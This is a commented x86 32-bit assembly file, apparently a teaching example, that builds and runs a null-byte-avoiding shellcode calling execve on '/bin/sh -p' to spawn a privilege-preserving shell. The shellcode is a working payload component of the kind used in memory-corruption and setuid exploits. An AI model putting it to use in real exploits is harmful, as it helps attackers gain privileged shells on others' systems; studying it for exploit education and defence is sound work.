shell2_32.s

##
#  shell2_32.s - Executes "/bin/sh"
#    Compile and Link:
#        gcc -c shell2_32.s -m32
#        ld -o shell2_32 -melf_i386 shell2_32.o
.text
.global _start

_start:
    push %ebp
    mov %esp, %ebp

    # zero %edi
    xor %edi, %edi

    # push "-p\0" onto the stack
    mov $0x702d, %di
    push %edi
    # save location of "-p\0" into %esi
    mov %esp, %esi

    # mov "/shA" into %edi
    mov $0x4168732f, %edi
    # shift %edi left 8 bits, and then back right 8 bits
    # this zeros the "A" on the end of "/shA"
    shl $0x08, %edi
    shr $0x08, %edi
    # push "/sh\0" on to the stack
    push %edi
    
    # push "/bin" on the stack
    mov $0x6e69622f, %edi
    push %edi
    
    # save the address of "/bin/sh\0" into %ebx
    mov %esp, %ebx

    # push a null entry on the stack
    xor %edi, %edi
    push %edi
    # push a pointer to "-p\0" on the stack
    push %esi
    # push a pointer to "/bin/sh\0" on the stack
    push %ebx

    # set pointers to argv and envp
    mov %esp, %ecx
    xor %edx, %edx

    # call execve(char * program, char * argv[], char * envp[])
    xor %eax, %eax
    mov $0xb, %al

    int $0x80

    # we pushed 6*4 bytes of data onto the stack, so remove it
    add $0x18, %esp
    pop %ebp
    ret